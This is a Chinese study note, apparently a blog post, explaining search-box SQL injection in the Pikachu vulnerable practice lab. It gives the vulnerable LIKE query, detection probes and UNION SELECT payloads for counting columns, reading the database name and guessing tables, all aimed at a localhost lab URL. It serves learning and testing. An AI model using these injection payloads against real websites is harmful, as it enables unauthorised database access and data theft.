zoukankan      html  css  js  c++  java
  • pikachu-搜索型注入 #手工注入

    1.搜索型注入漏洞产生的原因:

      在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。

    2.搜索型注入的类型:

      同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。

    3.原理分析:

    select username,id,email from member where username like '%$name%'

    这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了

    select username,id,email from member where username like '%$name'and 1=1 and '%'='%'

    就存在了SQL注入。

    4.搜索型注入的判断方法:

    1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

    2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

    3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

    4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

    5 根据两次的返回情况来判断是不是搜索型文本框注入了

    下面方法也可以测试

    'and 1=1 and '%'='
    
    %' and 1=1--'
    
    %' and 1=1 and '%'='

    实例讲解:

    源码:

    一,猜字段

    可判断有三个字段

    http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=搜索

    二,爆字段

    http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=搜索

    三,爆库

    http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=搜索

    四,爆表

    五,爆列

    六,爆字段内容

    其他方式

    (1)猜字段数

    可以判断字段数为 3

    127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜索    #报错
    127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜索      #不报错
    127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜索        #报错

     (2)猜表

    127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜索

    更换users,不报错就证明数据库中含有这个表

     

    文章仅作为学习笔记,欢迎指正,不喜勿喷!
  • 相关阅读:
    虚拟化技术KVM
    Rsync+Inotify实现文件自动同步
    第一次使用博客园
    kmp算法分析
    程序可移植性分析(一)数据类型
    strings用法小记
    size用法小记
    readelf用法小记
    nm用法小记
    ar用法小记
  • 原文地址:https://www.cnblogs.com/Hunter-01001100/p/11628286.html
Copyright © 2011-2022 走看看